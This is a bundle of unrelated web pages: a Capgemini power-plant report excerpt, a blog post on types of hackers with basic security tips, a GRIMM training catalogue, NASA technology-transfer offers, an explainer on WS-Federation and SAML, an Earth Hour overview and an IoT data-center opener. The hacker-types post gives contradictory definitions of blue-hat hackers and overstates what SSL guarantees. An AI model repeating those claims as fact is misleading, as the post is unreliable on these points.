Although there is plenty of potential and progress already being made in the utility sector, the report points out that “their ability to reap the benefits of their ambition raises significant concern. Only a small minority (8 percent) of utilities’ operations is digitally mature.”
Carbon emissions are a pressing concern for climate scientists, but the glacial progress of the energy sector in deploying digital plants threatens to undermine eventual benefits. Just 19 percent of power plants are expected to be digital within five years. The report concludes: “If more utilities were to prioritize digital investments, then the benefits to the industry and climate could be much greater.”
Perry Stoneman, global head of the energy & utilities sector at Capgemini, reiterated that more attention and investment is needed from utility suppliers if digitized plants are to reach their full potential.
“It’s clear that digital is already transforming power generation, enabling utilities to remain competitive and significantly reducing global carbon emissions. However, the industry can go further,” he said.
“With many utilities yet to digitize power plants, it is possible to reduce carbon emissions even more, if these utilities invest in digital skills and technologies. Firms that choose to embrace the digital future of power production now will gain a greater competitive advantage, lower production costs and boost their brand reputation.”
Join the conversation in 2018 at the industry leading’s event on the future of
the Internet of Energy | <urn:uuid:3f9789df-9af2-4eed-8569-4a4f7166bd87> | CC-MAIN-2022-40 | https://internetofbusiness.com/capgemini-report-power-plants/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337421.33/warc/CC-MAIN-20221003133425-20221003163425-00736.warc.gz | en | 0.93683 | 717 | 3.0625 | 3 |
Last Updated on 5 months by Touhid
A Hacker is a person who is skilled in computer programs and utilizes their technical knowledge to finds and exploits the weakness in computer systems to gain unauthorized access. In this post, we will explain different types of hacker in the world of hackers.
Different Types of Hacker
There are different types of hacker in the cyber world such as white hat, black hat, and grey hat hacker. A hacker may steal information, damage or bring down computer systems and networks. However, a hacker can be anyone and they can be an individual or group.
Many organizations who hire hackers as a part of their employee. These types of hackers use their technical skills to find out vulnerable and weakness in the organization’s security system. This is done to find and fix the weaknesses and prevent cyber threat from breaking in the security system.
- Black Hat Hackers
- White Hat Hacker
- Grey Hat Hackers
- Red Hat Hackers
- Green Hat Hackers
- Script Kiddies Hackers
- Blue Hat Hackers
Now, we will define each types of hackers.
1. Black Hat Hackers
Black Hat hackers, also known as crackers are those who attempt to find security vulnerabilities and gain unauthorized access into an application or network for malicious reasons.
This types of hackers is illegal because of its bad intent which includes steal financial information, login credentials, disrupts the systems, violate the privacy, shutting down the network system.
Black Hat hackers are expert in the cyber hacking to break into a computer system without the system owner’s authorization. After getting access of a system, they can send phishing email to others, install malware into your system and can sell financial and sensitive information on the Dark Web.
The term “black hat hacker” is derived from old Western movies, in which the good guys wore white hats and the bad guys wore black hats.
2. White Hat Hacker
A white hat hacker is types of hacker who is security specialist and uses skills to breaks into a system for penetration testing and strengthens the security of your system.
White Hat hackers are also known as Ethical Hackers. They never intent to harm a system, rather they try to find out security weaknesses and vulnerabilities in a computer or a network system.
In addition, this type of hackers is not illegal and it is one of the demanding jobs available in the IT industry. White hat hackers are paid employees or contractors working for companies as security specialists that attempt to find security holes via hacking.
Most White Hat hackers hold an academic degree in IT security and must be certified to pursue a career in hacking. The most of them have a popular certification is the CEH (Certified Ethical Hacker) from the EC-Council.
Typically, white hat hackers do the following jobs:
- Find out the security vulnerabilities of a system
- Install the security system such as antivirus, SSL certificate, Web application Firewall
- Develop a cyber-security tool that can identify the cyber threats
- Uses penetration testing tools for ensure security
It is noted that, some renowned companies like Facebook, Microsoft, and Google also use white-hat hackers.
3. Grey Hat Hackers
This types of hacker is someone who may violate ethical standards, but except the malicious intent they exploit a security weakness in a computer system without the owner’s permission.
The primary goal of grey hat hackers is to improve system and network security. This type of hackers is still considered illegal because the hacker has not taken any permission from the system owner’s to attempt to filter their systems.
It is combining of both black hat and white hat hackers. Their intent is to bring the weakness to the attention of the owners and getting appreciation or a little gift from the owners.
4. Red Hat Hackers
Red Hat Hackers is types of hackers who take the necessary steps to stop the black hat hacker’s activities in cybercrime. This types of hacker is almost similar to white hat hackers. The key difference between red hat hacker and white hat hackers is to their hacking intension.
Basically, White Hat hackers are Ethical Hackers who breaks into a system for penetration testing and strengthens the security of a system. And red hat hackers take a wrong initiative to protect a system from black hat hackers.
Red hat hacker’s uses use different types of attacking tools and technique to attack the bad hat hackers and infect malware within their systems.
The main aim of red hat hackers is to save the computer and cyber world from black hat hackers but using an illegal steps.
5. Green Hat Hackers
It is another types of hacker in the world of cyber hacking. Green hat hackers are learning and working on hacking techniques in order to improve their technical skills to become a better hacker.
Typically, they are “newbies” in the hacking domain and learning day by day. Actually, green hat hackers don’t have deep knowledge about hacking tactics and they are not aware about cyber security.
Simply put, they are dangerous because they have no technical skill on how to fix a security problem of a system. They always gather knowledge from experienced hackers and practice on a life system.
6. Script Kiddies Hackers
Script kiddie hackers are less experience young malicious hackers who have half knowledge in the field of cyber hacking. These types of hacker are try to hack a system with malicious script which has taken form expert hackers. That’s why this types of hacker is called Script kiddie hackers.
They aren’t not trying to improve their technical skills of hacking and they don’t know how to write a hacking script. This type of hacker aren’t good programmer and they uses a script which has developed by others cyber hackers. Script kiddie hackers are enjoying as it fun or a game for entertainment.
They are try to get unauthorized access or hack of a computer system, networks or websites of an organization.
7. Blue Hat Hackers
Blue hat hackers or BlueHat is a types of hacker in the cyber world who works outside of the organization to scrutinize the possible security holes of an application. They are invited by companies in order to find out the security vulnerabilities of a new application before implementation.
Blue hat hackers use various hacking technics and inject malware on their enemies’ servers or networks to take individual revenge. They can destroy the enemies’ data, websites and applications.
They can also gain unauthorized access of an email system and send phishing or inappropriate emails to their targets’ email address. This type of hackers are dangerous because their intention is to hack data and damage the reputation of their enemies’.
Protect From Different Types of Hackers
Already, we have defined different types of hacker in cyber hacking. Now, we will put best tips on how to protect from different types hackers.
Hacking incidents are increasing day by day in the 21st century. Even you don’t know how you’re bad practices invite a hacker to access your computer system. Here are the tips for the prevention from hackers.
Use Strong Password
Use strong password in order to protect from hackers. If you use simple and easy password such as 13456, test123, admin123, employee id, or phone number then hackers can easily hack your password and can get access your system.
So, create a strong password using combining letters, numbers, and special characters to protect from hackers and change your password on a regular basis.
Keep Software Update
An old version software may have security hole or weakness so, hackers can take advantage to get access into your system. It is recommended that when a new version of application software and OS is released, you should update the application software and operating system immediately.
Here is the helpful tips to check your running operating system is up-to-date on windows.
- Go to Start > Control panel > System and Security > Click on Windows Update.
- In the left pane, click Check for updates, and then wait while Windows looks for the latest updates for your computer.
- If updates found, click Install updates.
Install Antivirus Software
We know that there are different types of hacker in the cyber world. Some hackers may install virus or malware into your system to get unauthorized access. Typically, antivirus software is a program that helps to protect your devices from viruses, worms, Trojan horses, and malwares.
Basically, it scans every file which stores in your system and the files which comes through the internet into your computer or laptop or phone.
So, you should use a professional anti-virus software to remove virus and malware. Here we have mentioned some best professional anti-virus software, which you can install.
Data Encryption is a security technique in which data is encoded in a secured way that only authorized user can access the data. By the by, if your data is hacked by hackers and your data is encrypted by strong encryption method then hackers can’t decrypt/access your data.
The data encryption technique will protect your sensitive data such as login credentials, financial data, and personal information by encoding into cipher text.
Add SSL certificate
SSL or Secure Sockets Layer is a standard safety protocol which guarantees that your website or online application is secure.
SSL makes a secure connection between your application and internet browser. It ensuring that all data passed between a server and browser remains encrypted and secured from hackers.
So, you should purchase and add a SSL certificate for your website or application from a trustworthy service provider. Here, we have mentioned some top and best reliable SSL certificate provides.
If your website is secured by SSL certificate then a padlock will display on address bar and shows the URL as HTTPS instead of HTTP.
Use Web Application Firewall
A web application firewall or WAF is an application based cyber safety tool which is designed to secure your websites and applications by filtering, monitoring and blocking HTTP malicious traffic.
You should use a web application firewall in order to secure your application from hackers and malicious attacks.
Here is the list of some commercially used best Web Application Firewalls.
Protect SQL Injection Attacks
It is one of the common website hacking techniques which used by most types of hacker to control a website database to hack or damage sensitive information.
In SQL injection technique, the hackers places the malicious code in SQL query, via web page input. SQL injection happens when a website fails to appropriately sanitize the SQL query, so the hacker can introduce their own malicious SQL statements to access the database.
You can apply the following prevention technique to protect from SQL injection attacks.
- Use of Prepared Statements
- Use a Web Application Firewall
- Updating your system
- Validating user input
- Limiting privileges
- Use Stored Procedures
Secure Web Server
You have to secure your web server in order to protect from hackers. The website and application source codes and related files/ services are hosted on web server so, if hackers can get access your web server then they can access your all data.
You can secure your webserver by using the following tips.
- Keep up to date server Operating System
- Enable the security feature of Web Server
- Remove unnecessary services
- Disable remote access
- Install and monitor web application firewall
- Install SSL certificate
- Ensure dedicated servers for website
- Keep separate user logins
Nowadays, hackers are very smart about new technology and they changes their attacking techniques to get unauthorized access into your system. In this post, we have discussed different types of hackers. Each types of hacker plays a different role. We hope that, this article will be helpful for you to learn about hackers and their activities in the cyber world. | <urn:uuid:31e2b651-6661-4d49-963c-68e749e713c7> | CC-MAIN-2022-40 | https://cyberthreatportal.com/different-types-of-hacker/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337529.69/warc/CC-MAIN-20221004215917-20221005005917-00736.warc.gz | en | 0.903667 | 2,417 | 2.765625 | 3 |
GRIMM offers several off-the-shelf courses developed to train your team on how to better understand how an attacker might attack and exploit an organization’s systems, networks, or devices. These courses are “hands-on” so that students "understand by doing it themselves".
Courses generally focus on vulnerability research of Windows and OS internals, automotive security. Most students are hardware or software developers, engineers, penetration testers, forensic investigators, vulnerability researchers, security auditors, or general IT professionals -- all may benefit from these courses.
Additionally, GRIMM develops custom courseware for organizations with unique needs. In the past, GRIMM has developed courseware for commercial clients interested in better training their IT workforce -- building security into development practices, understanding how the attackers think, and learning techniques they may employ to secure specific technology.
During this 5-day course, participants gain an understanding of the automotive cybersecurity threat-landscape from an attacker's perspective. Automotive attack surfaces are highlighted, with a focus on attack techniques -- providing insight into creating defensible designs. Attendees benefit from hands-on offensive exercises in a lab environment. These exercises are designed to ensure that each student comprehends real-world exploitation, enhancing the ability to integrate defensive security measures into their vehicle networks.
Windows Internals for Developers - This developer-focused windows internal architecture course discusses the components, data structures, and algorithms that make up the core of the Windows operating system.
Application Security for Software Developers - This developer-focused course covers over the nuts and bolts of Windows security, cryptography, and proposes a defensive secure application life cycle. Additionally, it covers techniques to defend your software against software cracking and reverse engineering.
Software Reverse Engineering - Detailing how compiled code becomes machine language, and the art of reversing that process, this course pushes students to overcome assumption and realize how to make sense out of seeming chaos that is compiled code. Students will see improvement in Vulnerability Research and many other aspects of low-level understanding.
Linux Internals - This course takes a deep dive into the internals of the Linux kernel from a security perspective.
Windows Internals for Security Professionals - This Windows internal architecture course discusses the components, architecture, and internals of the Windows operating system from a security perspective.
IoT Exploitation - As smart devices become ubiquitous and are necessary for our everyday life, so are the threats to those devices. This course focuses on the common threats to IoT devices and how you can begin to discover and exploit their weaknesses on your own.
Intro to Vulnerability Research - This course goes through typical tactics used for vulnerability research. Students learn how to be successful at bug hunting, including how to select targets (programs), understanding the context of a target, and a process for finding and validating vulnerabilities.
Advanced Vulnerability Research - This course teaches advanced techniques used for vulnerability research. Attendees build upon the introductory overview class to deep-dive with significant hands-on practice for vulnerability research and an introduction into weaponizing exploits.
Software Reverse Engineering - Detailing how compiled code becomes machine language, and the art of reversing that process, this course pushes students to overcome assumptions and realize how to make sense of seeming chaos that is compiled code. Students will see improvement in Vulnerability Research and many other aspects of low-level understanding.
Did you know GRIMM’s 5-day, hands-on Automotive Security training can come to you? You provide the venue; we’ll bring training, instructors, materials, and lab kits! Private group sessions or a public offering in your area are available. | <urn:uuid:7515d038-4ae3-4937-8450-c2d89a7d209d> | CC-MAIN-2022-40 | https://grimmcyber.com/services/technical-training-and-education/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338213.55/warc/CC-MAIN-20221007143842-20221007173842-00736.warc.gz | en | 0.912568 | 745 | 2.59375 | 3 |
The space agency announced several health and biotech technology transfer opportunities.
NASA produces cutting-edge products and solutions for space exploration that often have untapped applications here on Earth. Through its Technology Transfer Program, businesses can license NASA-developed technologies and from them create and manufacture innovative commercially relevant uses for public benefit.
The space agency on Monday launched several new technology transfer opportunities for potential applications related to health, medicine and biotechnology.
Fingerprints and retinal and face scans are commonly-used biometric means to authenticate and verify that people are who they say they are. According to NASA, “the heartbeat system is a new biometric technique to verify someone's identity.”
In the HeartbeatID solicitation, agency officials said the movement of cardiac muscles and signals sent within human hearts “can be used in everything from replacing individuals’ PC passwords to [accessing] a bank account,” and they also listed a range of other applications, particularly in the realm of personal, internet and national security. Essentially, the nascent technology provides a means to use the human heart’s electrical actions as biometric distinguishers.
NASA notes that this specific technology transfer opportunity is patent only, and there’s no software available for license, but those who are interested in licensing the technology to develop more commercial uses can submit an application through its online portal for approval.
Through its Portable Unit for Metabolic Analysis, or PUMA tech transfer opportunity, entities can tap into battery-powered, wearable devices created at NASA’s Glenn Research Center that provide “highly precise real-time measurements of human metabolic functions,” such as users’ oxygen intake, heart rate, temperature and beyond. According to the agency, PUMA “represents a major breakthrough in portable metabolic analysis.”
The durable, compact units wirelessly relay information they capture to laptop computers for instant analysis and they are particularly well-suited to detect oxygen deficiencies and drops almost as soon as they occur. The devices can also be used in extreme environments, NASA said, including underground, underwater, and in aviation. Individuals who aim to license PUMA and market or help advance its uses not just for astronauts, but for miners, pilots, firefighters, divers, climbers, patients, athletes and more may also submit an application online.
Subcutaneous Structure Imager
The agency’s Glenn Research Center also developed a novel system—a subcutaneous, or below-the-skin, structure imager—that can be used to locate veins “in challenging patient populations, such as juvenile, elderly, dark-skinned, or obese patients.” The system offers users the ability to conveniently access clear visualizations of veins or other vascular structures.
In terms of commercial applications, NASA officials said “compared to other state-of-the-art solutions, the imager is inexpensive, compact, and very portable, so it can be used in remote third-world areas, emergency response situations, or military battlefields.” Those interested in putting it to use may submit an online application.
Other health-focused technology transfer opportunities that the space agency launched Monday include biochemical sensors that may be used in clinical diagnostics and a reproducible, cost-effective technology and process for creating 2D and 3D human tissue formations that NASA believes have uses across pharmaceutical development and regenerative medicine.
Licensing applications for each of the opportunities are due by Feb. 21, 2021. | <urn:uuid:37c72332-a651-48da-b477-67ea6ea39346> | CC-MAIN-2022-40 | https://www.nextgov.com/emerging-tech/2020/02/nasa-tech-could-replace-passwords-your-heartbeat/163292/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334987.39/warc/CC-MAIN-20220927033539-20220927063539-00136.warc.gz | en | 0.923556 | 718 | 2.96875 | 3 |
Single Sign On: WS-Fed and SAML
This is the second in the series of articles on authentication & SSO. The first one can be accessed here:
Back to Basics – Authentication & SSO
In this series we will look into the various protocols and mechanisms used for authentication. You might have heard of one or more or all of the following names:
- WS-Federation, SAML, OAuth, Open ID, Open ID Connect etc.
Well, what exactly are these? At a high level all these are federated validation mechanisms. But why so many protocols? Let us start by looking at two veterans in this area – WS-Federation & SAML (Sorry KerberosL)
Web Service Federation was created in 2003 as a part of the larger WS- Security Framework which includes WS-Authorization, WS-Trust, and WS-Policy etc.
First let us understand WS-Trust before looking at WS-Federation (as both are connected).
WS-Trust provides the foundation for federation by defining a service model, the Security Token Service (STS), and a protocol for requesting/issuing these security tokens which are used by WS-Security and described by WS-SecurityPolicy. STS model defined by WS-Trust is shown below:
To quickly explain this diagram, STS issues a token that is trusted by resource provider and hence requestor has to validate itself with STS to get a token and then ask the resource provider for a resource along with the claim/token. Hope that is not too short an explanation J
What if the requestor from one organization needs access to resource in another organization? Then as per WS-Trust, the requestor should validate itself to STS. But the STS doesn’t know this user as he is another realm. That’s where WS-Federation steps in. The objective of WS-Federation is to build on the STS model and make it extensible across realms i.e., cross-realm communication and interoperability.
It just extends the basic premise of WS-Trust (protocol & mechanism) across the realm boundaries.
The key component in WS-Federation is Federation Metadata (FM). FM is shared across STS by following the WS-Federation model for document format & discovery. Once that trust is established, then cross federation is achieved.
Summary: WS-Trust & WS-Federation provides a protocol for creating a token (Claims) based security model across resource providers and across organization boundaries. It does not enforce the token format but defines the request/response mechanisms of the protocol. What token to send, what to include in the token, how to establish cross federation trust etc. are not covered in detail but direction setting is provided thereby making the protocol more generic.
Security Assertion Markup Language (SAML) is very similar to WS-Federation and is an older protocol compared to WS-Fed. The approach in protocol, the metadata, sign-out, authentication types etc. are very similar in both protocols. In fact WS-Fed in most cases, uses a SAML Assertion token which creates even more confusion! The key here is that SAML from a protocol perspective is similar to WS-Fed but SAML also has a token format. SAML token is a data format for exchanging identity and access information across parties. SAML token is basically a collection of XML tags. SAML tokens have versions and not every SAML token version is compatible with every protocol. For example, WS-Fed 1.3 (protocol) uses SAML 2.0 (token type) and SAML 1.1 (protocol) uses SAML 1.1 (Token type) and so on!
I know…I know… I was here to simplify things and now I’m confusing the heck out of you right? J
Let’s move on from SAML as a protocol to SAML as a token. What exactly does this XML token contain?
It contains the following:
- Who issued the token
- Issuer & signature
2. The Assertion
- The subject for whom this token is issued (principal name)
- Any other attributes (key-value) that defines the subject
- How long is this token valid
- Who is this token intended for? (Audience)
- How was the client authenticated? (Password, Multi factor etc.)
Since this is the key piece of a token I am including a snippet of an assertion below:
<saml:Assertion Version=”2.0″ ID=”_e91ef7a4-98eb-46d7-9542-c9a32fa2c9a4″ IssueInstant=”2013-05-28T00:18:47.025Z”>
<!– snip –>
< saml:SubjectConfirmationData NotOnOrAfter=”2017-01-28T08:18:47.025Z” Recipient=”https://login.salesforce.com” />
<saml:Conditions NotBefore=”2017-01-27T16:18:47.025Z” NotOnOrAfter=”2017-01-28T22:18:47.025Z”>
3. Finally, there is a signature to prevent tampering. This signature can apply to the assertion, the message shell, or both.
Summary: SAML as a protocol is very similar to WS-Fed. SAML also has a XML token mechanism which gets signed and sent to the relying party. SAML tokens has multiple versions and they are used by different protocols to send tokens.
A final point – SAML & WS-Fed are similar protocols and the decision to use is dependent on your specific requirements and organizational environment. For example, if you are in a Microsoft ecosystem using Active Directory, ADFS etc. it supports both WS-Fed and SAML but Microsoft was one of the pioneers of WS-* hence it’s a bit easier to configure WS-Federation. Also from a developer standpoint, Windows Identity Foundation (WIF) was developed by Microsoft to enable building claims aware .NET application on top of WS-Fed protocol. It provides developers with the ability to build STS & claims aware application. But there is a catch here – fast forward to Azure era, WS-* is not something that Microsoft uses on its cloud architecture. We will come to that in the next blog. | <urn:uuid:8e8f7cb3-0545-4de6-ab7f-199345550d43> | CC-MAIN-2022-40 | https://www.ilink-digital.com/insights/blog/single-sign-on-ws-fed-and-saml/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335254.72/warc/CC-MAIN-20220928113848-20220928143848-00136.warc.gz | en | 0.837491 | 1,770 | 2.65625 | 3 |
Earth Hour - Information About Earth Hour
Earth Hour is a worldwide grassroots movement uniting people to protect the planet, and is organised by WWF. It is an event that aims to create awareness of people taking responsibility towards a sustainable future by turning the lights off. Earth Hour is not to be confused with Earth Day.
Engaging a massive mainstream community on a broad range of environmental issues, Earth Hour was famously started as a lights-off event in Sydney, Australia in 2007. Since then it has grown to engage more than 7000 cities and towns worldwide, and the one-hour event continues to remain the key driver of the now larger movement. Actor Arjun Kapoor has been announced as the national brand ambassador of the environmental campaign "Earth Hour 2014".
Spider-Man is Earth Hour’s first superhero ambassador, epitomizing the power of the individual and inspiring his fans to become superheroes for the planet. We want every fan of Spider-Man to walk away knowing they can do something to protect the planet. Earth Hour is a movement for people illustrate their support, and Earth Hour Blue is the place they can get involved.
What do people do in Earth Hour?
People will turn off all non-essential lights to raise awareness about environmental challenges at the specified time. Millions of people across the world switch off lights for one hour in order to celebrate their commitment to the planet. Iconic buildings and landmarks from Europe to Asia to the Americas have stood in darkness during previous Earth Hours. Some people enjoy Earth Hour with a candle-lit dinner or a candle-lit bath, while others host large events or parties, either in darkness or with candles, to celebrate Earth Hour.
Businesses and government organizations, as well as community and political leaders also take part in Earth Hour. It’s about giving people a voice on the planet’s future and working together to create a sustainable low carbon future for planet earth.
Earth Hour only asks people to turn off the non-essential lights for one hour. Lights that affect public safety are not turned off. Earth Hour is also a celebration of the planet so it’s important to enjoy the moment in a safe environment. For the very first time, Moscow’s Kremlin and whole Red Square complex, including St. Basil’s Cathedral, Historical Museum and the famous GUM-mall switch off for Earth Hour.
The list of participating landmarks in earth hour include:
- The Sydney Harbour Bridge
- Tokyo Tower
- Taipei 101
- The Petronas Towers
- Beijing National Stadium (Bird’s Nest)
- Marina Bay Sands Singapore
- Gateway of India
- The Burj Khalifa
- The Church of the Nativity (Birthplace of Jesus, Bethlehem)
- Table Mountain
- Dubrovnik City Walls
- Eiffel Tower
- Avenue Habib Bourguiba
- The Acropolis
- Leaning Tower of Pisa
- The Spanish Steps
- Brandenburg Gate
- Buckingham Palace
- Tower Bridge
- The UK Houses of Parliament
- Big Ben
- Christ the Redeemer Statue
- CN Tower
- Las Vegas Strip
- Times Square
- The Empire State Building
- Niagara Falls
Vancouver, Canada was crowned as the first ever Global Earth Hour Capital. The city was recognised for its ambition to be a global leader on climate-smart urban development with green targets. By 2020, Vancouver aims for all new buildings to be carbon neutral in their operations; citizens to make over 50% of trips by foot, bicycle or public transport; and the number of green jobs to have doubled.
How Earth Hour Started?
Earth Hour came from a think tank initiated by Earth Hour CEO and Co-Founder, Andy Ridley, resulting in the formation of a partnership between WWF Australia, Leo Burnett and Fairfax Media to address the climate change issue. In 2007, there was still a degree of scepticism and denial about the issue of climate change. Earth Hour came as the inspiration to rally people to the reality of climate change and start a dialogue about what we as individuals can do to help address the greatest problem facing our planet today.
Leo Burnett partnered with WWF to promote the idea and help make the campaign a reality in Sydney, a campaign which has now gone beyond climate change to symbolise the growing global pursuit of a better, healthier world.
Earth Hour Commitment
By registering for Earth Hour 2014, individuals, communities and businesses are making a commitment to turn their lights off for an hour at 8.30PM in acknowledgement of an act they will undertake for the benefit of the planet. We hope that these individuals, communities and businesses will take action beyond the hour through Earth Hour Blue
Earth Hour & WWF
Earth Hour is an initiative of WWF. In 2007, WWF initiated Earth Hour a way of engaging a broad section of society in the environmental issues challenging citizens across the world. WWF embraced the idea of an open sourced campaign that would allow communities and organisations to become part of a global movement to protect out planet. Spider-Man is Earth Hour | <urn:uuid:191b42b0-cc29-4f28-861c-fefd70b97b6f> | CC-MAIN-2022-40 | https://www.knowledgepublisher.com/article/1212/earth-hour-information-about-earth-hour.html | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335254.72/warc/CC-MAIN-20220928113848-20220928143848-00136.warc.gz | en | 0.925495 | 1,041 | 2.6875 | 3 |
What is Cloud Security?
Businesses and governments wishing to foster innovation and collaboration are increasingly relying upon cloud computing services. A McAfee report shows that 97% of organizations use cloud services, and 83% of them say they store sensitive information in the cloud.
Alarmingly, as many as 20% of companies surveyed experienced a data breach through their public cloud infrastructure.
Cloud security consists of procedures and technology used to protect cloud systems and infrastructure against security risks and cyberattacks. In order to protect data and applications in the cloud from emerging and current threats, users must evaluate their current security measures, security best practices and compliance requirements, and develop new strategies appropriate to their specific cloud environment.
In this article, you will learn:
Top Cloud Security Challenges
Cloud security raises major challenges for most security organizations. Here are some of the primary challenges you will need to deal with when securing cloud infrastructure.
Broad Attack Surface
A cloud environment can have hundreds or thousands of entities, which change on a daily basis. Entities are often short-lived and there is limited visibility over what is running, who has access to it, and how it is configured.
In addition, there can be a huge variety of systems running in a cloud deployment, including compute instances, managed services, containers, serverless functions, and virtualized networks. Each of these has its own configuration options, security weaknesses, and best practices, and each represents a point of entry for attackers.
Related content: read our guide to cloud infrastructure security ›
Cloud infrastructure is outside the corporate network perimeter, and can be directly accessed from the public internet. This makes cloud resources more accessible, but also makes it much easier for attackers to connect to a system and gain access. It is a major challenge to ensure that all cloud resources have properly configured authentication, and that passwords for privileged roles are not shared or compromised.
Lack of Visibility and Tracking
When employing an infrastructure as a service (IaaS) model, cloud providers assume full control over some aspects of the infrastructure layer, and customers have no access to it. This is even more true for platforms as a service (PaaS) and software as a service (SaaS). As a result, cloud customers find it difficult to visualize the environment, discover assets and monitor them effectively.
Cloud environments make it possible to provision and shut down assets in a dynamic manner, at high scale, and with velocity. Traditional security tools cannot enforce protection policies for continuously changing and transitory workloads.
Malicious insiders could be users with ill intent who have privileges to access cloud resources, or benign users whose accounts were compromised by an attacker. In the cloud, it is even more difficult to prevent insider threats. Cloud-based infrastructure is accessible from the public internet, making it easier for attackers to leverage compromised accounts. Security misconfigurations can allow malicious users to escalate privileges across cloud deployments.
Cloud infrastructure uses APIs heavily for automation and integration between services and resources. These APIs tend to be well documented, and this means they can be reverse engineered by attackers. Attackers can use API documentation to exploit methods for gaining unauthorized access or exfiltrating data, if APIs have not been properly secured.
Many organizations are developing cloud systems using DevOps methods, with a rapid CI/CD development process. This makes it critical to build security controls into source code and deployment templates from the beginning of the development lifecycle. This approach, in which security shifts left in the process, from testing or deployment stages to early development, is known as DevSecOps.
Granular Privilege and Key Management
Administrators can create detailed roles for cloud users to grant other permissions that exceed their requirements and expectations. Inexperienced users can delete or save database resources. These permissions are usually granted to users who are unable to perform these operations. This major misconception poses a security risk at the application level.
Hybrid and multicloud environments are gaining favor within many enterprises. Managing security in hybrid and multicloud deployments requires tools and methods that can operate seamlessly across on-premises deployments, branch office edge equipment, and public and private clouds.
Related content: read our guide to multi cloud security ›
Cloud Compliance and Governance
All major cloud providers comply with PCI 3.2, NIST 800-53, HIPAA, GDPR, and other recognized standards. Still, the customer remains responsible for making sure that their workloads and data processes are aligned with these standards.
However, because the cloud environment offers limited visibility, compliance audits are extremely difficult without the use of specialized tools. Cloud compliance tools can perform automated, continuous compliance checks, and submit real-time alerts when they identify misconfigurations.
Cloud Security Solutions Landscape
Here are the primary security solutions used to secure cloud infrastructure:
- Cloud Workload Protection Platforms (CWPP)—protect cloud workloads by ensuring they are deployed according to best practices with the necessary security controls. Can harden operating systems and whitelist applications, scan for vulnerabilities, and perform integrity checks.
- Cloud Security Posture Management (CSPM)—scans cloud environments for misconfigurations and compliance risks. Can automatically apply security configurations, and provides central control over configurations for compute instances, storage buckets, databases, and other cloud resources.
- Cloud Access Security Broker (CASB)—CASB protects hybrid cloud deployments, ensuring the same security policies are applied on the public cloud and in the local data center. Includes firewall, web application firewall (WAF), authentication, and data loss prevention (DLP).
- eXtended Detection and Response (XDR)—a security platform that can protect systems in the cloud and in the local data center. Combines data from cloud systems, on-premise networks and endpoints, applies advanced analytics to identify evasive threats, and enables immediate automated response.
- Cloud data security solutions—provide access and security policies for storage services deployed across multiple clouds, and data transferred to or from those services. Manages encryption, governance, and provides data loss prevention (DLP) capabilities.
- Cloud compliance solutions—ensures organizations are meeting compliance requirements in the cloud. Unlike CWPP, these solutions are passive, notifying about violations without actively enforcing secure configurations.
Learn more in our detailed guide to cloud security solutions ›
Cloud Security Best Practices
Follow these best practices to improve security for your cloud environments.
Perform Due Diligence
When using cloud services, software as a service (SaaS), or other development components, review security features and test resources for security, just like you would test your own systems. While software provided by cloud providers is typically of high quality and secure, it is very common to use third-party software on the cloud, for example, marketplace images, container images, or other third-party services.
Ensure Hygiene and Visibility
Cloud deployments have many transient components, including compute instances, containers, data volumes, serverless functions, and managed databases or data stores. Make sure you have an accurate inventory of cloud assets, who deployed them, what they are doing, and whether they exhibit any security risks or vulnerabilities.
Use Identity and Access Management (IAM)
IAM solutions are especially important in defending cloud systems, because users can access cloud resources from any location or device. IAM provides visibility into which users have what roles and permissions in the cloud environment. You can monitor user behavior and set alerts for suspicious behavior. Most IAM systems also provide multi-factor authentication (MFA) and single sign on (SSO) capabilities.
Secure Credentials to Prevent Social Engineering
To prevent phishing and similar social engineering attacks, use security measures like:
- Educating users not to share credentials with others
- Implement email and endpoint protection
- Create alerts when logins are attempted from different locations or multiple IPs
- Set session timeouts and require regular rotation of passwords
- Enforce use of multi-factor authentication (MFA)
Update Services and Cloud Systems
Remember that the cloud provider does not take responsibility over workloads. Except with specific managed services (such as DBaaS), your organization is responsible for patching and updating software like operating systems, databases, and content management systems. Use automated tools to detect cloud systems that have vulnerabilities, and try to automate security updates, to ensure fast remediation.
Audit and Optimize Configurations
It is not enough to secure configurations once. Cloud environments are constantly changing, and there is a need to constantly monitor and verify that configurations are still safe. Every time a new compute instance or data volume is created, scaled or replicated, there is a potential for misconfiguration that can have security implications.
Cloud Security with Aqua
With Aqua Security, you get a complete security platform, which secures cloud native applications from start to finish, at any scale. The Aqua platform protects your entire stack, on any cloud, across VMs, containers, and serverless.
Aqua can help you secure your cloud by:
- Protecting the build with a “shift left” approach to cloud native security that stops threats and vulnerabilities in their tracks — empowering DevOps to detect issues early and fix them fast. Aqua uses a combination of static and dynamic scanning to find vulnerabilities, malware, secrets, and other risks during development and staging. It also allows you to set flexible, dynamic policies to control deployment in your runtime environments.
- Securing infrastructure, automating compliance and the security posture of your public cloud services, Infrastructure-as-Code templates, and Kubernetes against best practices and standards. This ensures that the infrastructure you run your applications on are securely configured and in compliance.
- Protect workloads, including VMs, containers, and serverless functions, using granular controls that provide instant visibility and real-time detection and response. Aqua leverages modern micro-services concepts to enforce immutability of your applications in runtime, establishing zero-trust networking, and detecting and stopping suspicious activities, including zero-day attacks.
- Secure hybrid cloud infrastructure with cloud native security over hybrid-cloud and multi-cloud deployments, with persistent controls that follow your workloads wherever they run. | <urn:uuid:56d38c9f-e827-4e2d-8f4a-dbb33aca8ab0> | CC-MAIN-2022-40 | https://www.aquasec.com/cloud-native-academy/cspm/cloud-security/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335530.56/warc/CC-MAIN-20221001035148-20221001065148-00136.warc.gz | en | 0.915317 | 2,125 | 2.859375 | 3 |
Back in 2014, a Gartner report said that the Internet of Things (IoT) will pose seven challenges in the data center: sheer volume of data, server technologies, data security, the data center network, consumer privacy, need for higher availability and increased data processing requirements.
Now, the impacts of IoT are coming into sharper focus,in the data center and across the network. Some of Gartner's predictions hold true, but we have a better idea as to how they might play out.
Latency and reliability
In a world of always-on ubiquitous connectivity, latency and reliability loom over everything, whether you’re talking about self-driving cars or Industry 4.0. These two challenges are driving much of the change that we’ll see in network design over the next few years.
